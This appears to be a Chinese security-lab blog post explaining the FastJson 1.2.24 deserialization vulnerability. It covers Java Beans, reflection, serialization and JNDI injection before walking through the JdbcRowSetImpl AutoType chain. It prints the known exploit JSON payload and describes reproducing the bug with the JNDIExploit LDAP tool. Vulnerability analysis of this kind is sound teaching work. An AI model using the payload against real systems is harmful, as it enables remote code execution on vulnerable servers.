FastJson反序列化漏洞解析

admin 2023年5月19日18:49:59评论37 views字数 7410阅读24分42秒阅读模式
点击蓝字,关注我们

FastJson反序列化漏洞解析


Fasjson是阿里巴巴开源的一套用解析JSON字符串的解析库,Fastjson可以将Java对象序列化为JSON字符串,也可以将JSON字符串转换为Java对象。



涉及的知识点



在学习Fastjson反序列化漏洞之前,需要先了解一些概念:

1、Java Bean

2、Java反射

3、什么是序列化/反序列化

4、JNDI与JNDI注入



下面先对这些基本的概念进行解析,理解这些概念之后才能更清晰的理解Fastjson反序列化漏洞的原理



Java Bean:



Java Bean是一种规范,准确的说是一种Java类的书写规范,满足以下条件的Java类可以称之为Java Bean。

1、成员变量均使用private关键字进行修饰

2、提供构造方法(有参/无参)

3、为每个成员变量提供set/get方法



public class Student {    private String name;    private int sid;    private int age;
public Student(String name, int sid, int age) { this.name = name; this.sid = sid; this.age = age; } public Student() { }
public void setName(String name) { this.name = name; }
public void setSid(int sid) { this.sid = sid; }
public void setAge(int age) { this.age = age; }
public String getName() { return name; }
public int getSid() { return sid; }
public int getAge() { return age; }}



    以上代码定义了一个类,名为Student,分别定义了空参/有参的构造函数,该类有三个成员变量均使用了private关键字修饰为私有,并为每个成员都提供了set/get方法,所以该类可以称为Java Bean类。


    get/set方法的作用是,在对象的成员变量进行取值或赋值操作时提供了一个标准的接口,因为private修饰的变量是不能通过.属性名的方式直接获取或是修改的,这是面向对象特性其一"封装"的体现,目的是为了隐藏类的内部实现细节,Java提供的原生类大都符合Java Bean的规范。


    在书写Java类时并不是必须要求按照这种规范进行书写才能运行Java程序,Java Bean规范的意义在于提升代码的重用性,在一些标准的框架/组件中通常会按照这种规范来与Java Bean进行交互。





Java反射:



    Java反射指的是Java平台提供的一种用于在程序运行期间动态获取任意类的所有信息(例如属性,方法,构造方法等信息)调用任意对象方法/属性的机制,通过反射还可以创建对应类的实例,反射是一种很强大的机制。


    在JVM加载一个class文件到JVM中时会创建一个与之对应的class对象,该对象被称为字节码对象,通过此对象可以获取到对应的类中的所有信息(例如属性,方法,构造方法等信息),class对象提供的方法可以将类中的各个部分(属性,方法...)映射封装为对应Java对象,这个过程被称之为"反射"。



import java.lang.reflect.Field;import java.lang.reflect.Method;
public class Main {
public static void main(String[] args) { Class cls = Student.class; // 获取Student类的字节码对象 System.out.println(cls.getName()); // 通过反射获取类名
System.out.println("----------------------------------");
Field[] Filed = cls.getDeclaredFields(); // 通过反射获取所有字段,返回值为属性类型对象的数组 for (Field fil:Filed) { System.out.println(fil.getName()); }
System.out.println("----------------------------------");
Method[] Method = cls.getMethods(); // 通过反射获取类中所有方法,返回值为方法类型对象的数组 for (Method met:Method) { System.out.println(met.getName()); }
}}



序列化和反序列化:




    将Java对象转换为字节序列的过程称之为序列化,将字节序列转换为Java对象的过程称之为反序列化。


    这里使用FastJson解析库做示范,该解析库提供了对Java对象进行序列化和反序列化的功能,当然,除了FastJson之外还有很多第三方库可以进行序列化和反序列化操作。





序列化



import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) { Student Liming = new Student("Liming",101,20); // 实例化一个Student对象 String json = JSON.toJSONString(Liming); // 将此对象转换为json字符串 System.out.println(json); }}


以上代码在运行结束后会输出:


{"age":20,"name":"Liming","sid":101}
    该字符串是一段JSON格式的字符串,可见其中包含了被序列化对象的成员属性与其具体值的映射关系, 序列化其实可以简单的理解为将一个Java对象转换为字符串的过程,这个字符串中通常描述了对象中成员变量与其对应的具体值的映射关系,以便于后期可以通过该字符串再次将其还原为具体的对象。




反序列化


import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) { Student xiaoming = JSON.parseObject("{"age":20,"name":"Liming","sid":101}",Student.class); System.out.println("Name: "+xiaoming.getName()); System.out.println("Age: "+xiaoming.getAge()); System.out.println("Sid: "+xiaoming.getSid()); }}


以上代码运行结束后会输出:


Name: LimingAge: 20Sid: 101


    将对象序列化后的结果(描述该对象的字符串)转换为具体对象的过程称之为反序列化,在进行反序列化时除了需要传递序列化后的JSON字符串以外还需要传递其对应类型的class对象,因为在反序列化的过程中需要根据给定的类型信息才能将 JSON 字符串转换为对应的 Java 对象,这是因为FastJson在反序列化的过程中需要使用class对象才能进行反射操作进行对象实例创建,需要使用反射的方式创建对象的实例,调用其对应的方法。





JNDI概念以及JNDI注入

:



    JNDI,全称Java Naming And Directory Interface,翻译为中文其含义为Java名称与目录服务接口



概念




命名服务:


    命名服务广泛应用于计算机领域,命名服务的本质是提供一种从名称到对象间映射关系的查询服务,例如DNS服务,可以根据域名查询到其对应的IP地址,Windows系统中的搜索功能可以根据应用程序名称查询到对应的应用程序,这些功能/服务都属于命名服务的范畴。在现实世界中类似于姓名对应个人的映射关系,而提供名称可以查询到个人的服务就可以称为命名服务(电话号码簿)。


目录服务:


    目录服务将名称与对象相关联,并允许此类对象具有属性。因此,不仅可以按名称查找对象,还可以获取对象的属性或根据其属性搜索对象。因此目录服务是命名服务的一种扩展,除了可以将名称与对象进行绑定以外,还允许该对象拥有特定的属性。例如,目录对象可用于表示打印机,人员,计算机或网络,目录对象包含描述它所表示的对象的属性。





JNDI注入




    JNDI支持将一个名称映射到一个Java对象,可以通过JNDI中的lookup函数向特定的提供命名服务的服务器发起查询请求获取具体对象。lookup函数可以向远程的提供目录服务的服务器发起请求查询指定对象,如果返回的是Reference类型的对象,JNDI会解析该对象的classFactory、classFactoryLocation属性。classFactory通常代表类名,classFaxtoryLocation通常代表其存储地址,JVM首先会尝试在本地寻找该类,如果本地不存在则会从classFactoryLocation(通常是一个http服务器的地址,位于远程)中进行加载,此时会触发 URLClassLoader类远程加载器,会从classFactoryLocation地址中获取远程的class文件并将其加载到JVM中。


    如果加载的类是一个恶意类,例如类中的static代码块中包含恶意代码,那就会在类被加载到JVM时执行static静态代码块中的代码,如果其中包含执行系统命令的代码,那么就会导致任意命令执行。






JNDI注入完整的攻击流程

:



1、准备提供rmi或ldap的程序,再准备一个恶意类。


2、创建一个Reference对象,当一个对象不能直接存储在目录中时,就可以用使用Reference对象,这是JNDI中定义的一个类,用于描述对象的相关信息,例如类名,对象路径,class文件名,具体存储位置等信息。在Reference对象中描述恶意类的类名,class文件名,存储的地址等信息。


3、启动LDAP/RMI服务将Reference绑定到一个名称上。


4、在存在JNDI注入的地方访问搭建的ldap或rmi服务查询指定的名称。此时目录服务会返回Reference对象,如果返回的对象是javax.naming.Reference类型的对象的话,JNDI会解析“classFactory”和“classFactoryLocation”属性,如果本地类路径存在该类就会在本地加载,如果本地不存在就会从classFactoryLocation中进行加载,classFactoryLocation通常是该类存储的地址,通常是一个http连接,此时会触发java的URLClassLoader类远程加载器,该加载器会获取远程类的字节码并将其加载到JVM中,此时恶意类的static代码块就会被执行,从而达到任意代码执行的目的。






正文




前面介绍了关于理解Fastjson反序列化漏洞所需要涉及的知识点,分别是Java Bean、Java反射、序列化与反序列化、JNDI与JNDI注入,下面我将基于这些知识点来对Fastjson反序列化漏洞来做具体原理分析。





setter方法在Fastjson中的意义




    前面提到过getter和setter方法是标准的Java Bean中的一项规范,一些框架/组件会遵循这种规范与Java Bean做交互,在Fastjson中就会遵循这种规范与Java Bean做交互,这两个方法用于访问类中私有化的成员变量。在反序列化的过程中需要为创建的对象中的成员变量进行赋值,在赋值的过程中如果成员变量是私有的,就需要调用对应成员的setter方法为其进行赋值(这是遵循规范与Java Bean做交互的体现)。



import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) { String json = "{"age":20,"name":"Liming","sid":101}"; Student xiaoming = JSON.parseObject(json,Student.class); }}




    这段代码中,使用parseObject方法进行反序列化操作,前面有说过在反序列化的过程中需要使用反射机制来创建对象调用对应的方法,所以该方法的第二个参数需要传递反序列化的具体类型的字节码对象。


    反序列化的目的是将一段JSON字符串转换为对应的对象,在转换的过程中就需要涉及为对象成员变量设置值的情况,那如果一个成员变量是私有的,就需要调用setter方法来进行赋值,这是漏洞触发的重点。




{"age":20,"name":"Liming","sid":101}


    在前面书写的Java Bean Student类中,这三个成员都是私有的,所以在进行反序列的过程中,就需要调用三个成员对应的setter方法来设置值。


    为了证明这一点,尝试在name属性的setter方法中添加一行执行命令的代码,用来弹出计算器,如果成功弹出则证明这个方法被调用了






FastJson反序列化漏洞解析




FastJson反序列化漏洞解析


上图为运行结果,成功弹出计算器,证明了Fastjson在反序列化过程中为对象成员变量赋值时,如果成员的访问权限是私有的情况下就会调用该成员对应的setter方法为其赋值。



什么是AutoType


    如果每次反序列化都要需要传递Class字节码对象,代码就会变得不灵活,所以FastJson引入了AutoType机制。





    FastJson的AutoType机制支持在反序列化的过程中自动获取指定类的Class文件对象,当序列化的JSON字符串中包含@type键时就会自动将其值作为反序列化生成对象的具体类型,FastJson自动获取对应的Class字节码对象,从而进行反射创建实例,为对象属性赋值等操作(和正常情况一样),唯一的区别是不用直接传递class对象了,在JSON字符串中使用@type健即可自动获取类对应的Class对象。


    在使用toJSONString方法进行序列化操作时,传入SerializerFeature.WriteClassName即可使输出的格式化字符串携带@type键。




import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.serializer.SerializerFeature;
public class Main {
public static void main(String[] args) { Student xm = new Student("xiaoming",101,20); String json = JSON.toJSONString(xm, SerializerFeature.WriteClassName); System.out.println(json); }}




输出结果



{"@type":"Student","age":20,"name":"xiaoming","sid":101}



从Payload出发到触发JNDI注入




FastJson1.2.24版本反序列化漏洞Payload


{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap/rmi Server", "autoCommit":true}





    AutoType在反序列化的过程中会自动获取@type键对应值的Java类的字节码对象。com.sun.rowset.JdbcRowSetImpl是一个Java的原生类,在反序列化的过程中如果@type的值是com.sun.rowset.JdbcRowSetImpl那么就会自动获取该类的Class字节码对象进行反射创建对象等操作,在该payload中对反序列化后对象的dataSourceName,autoCommit等属性值进行了设置,因此会调用这两个属性的setter方法。



setDataSourceName方法:



FastJson反序列化漏洞解析


setAutoCommit方法:



FastJson反序列化漏洞解析




FastJson在设置多个属性值时调用setter方法的顺序是按照JSON字符串中属性的先后次序进行调用的。在payload中,会先调用dataSourceName的setter方法对其值进行设置,利用过程中dataSourceName的值通常会被设置为一个ldap或者rmi服务的地址。


重点在AutoCommit属性的setter方法中,这个方法中调用了connect方法。在connect方法中调用了JNDI中的lookup函数,并且将getDataSourceName函数的值传入了lookup函数,按照JSON的先后顺序,DataSourceName属性值已被设置为了恶意ldap/rmi服务的地址,所以传入lookup函数的参数是外部可控的,最终达到了JNDI注入的目的。






FastJson反序列化漏洞解析


漏洞复现:

使用JNDIExploit工具启动一个ldap服务






运行代码对恶意JSON进行反序列化:



FastJson反序列化漏洞解析


触发链:



FastJson反序列化漏洞解析



参考




https://www.veracode.com/blog/research/exploiting-jndi-injections-java https://evilpan.com/2021/12/13/jndi-injection/ https://www.anquanke.com/post/id/240446#h3-17 http://t.csdn.cn/BMYAd



FastJson反序列化漏洞解析


FastJson反序列化漏洞解析

往期推荐

FastJson反序列化漏洞解析
FastJson反序列化漏洞解析

从swagger api泄露到进入后台
FastJson反序列化漏洞解析

看我如何利用熊猫头插件拿下局长..
FastJson反序列化漏洞解析

记一次度某满SRC挖掘之曲线救国
免责声明

由于传播、利用本公众号NGC660安全实验室所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号NGC600安全实验室及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

点点分享
FastJson反序列化漏洞解析
点点赞
FastJson反序列化漏洞解析
点点在看
FastJson反序列化漏洞解析



原文始发于微信公众号(NGC660安全实验室):FastJson反序列化漏洞解析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月19日18:49:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   FastJson反序列化漏洞解析https://cn-sec.com/archives/1746805.html

发表评论

匿名网友 填写信息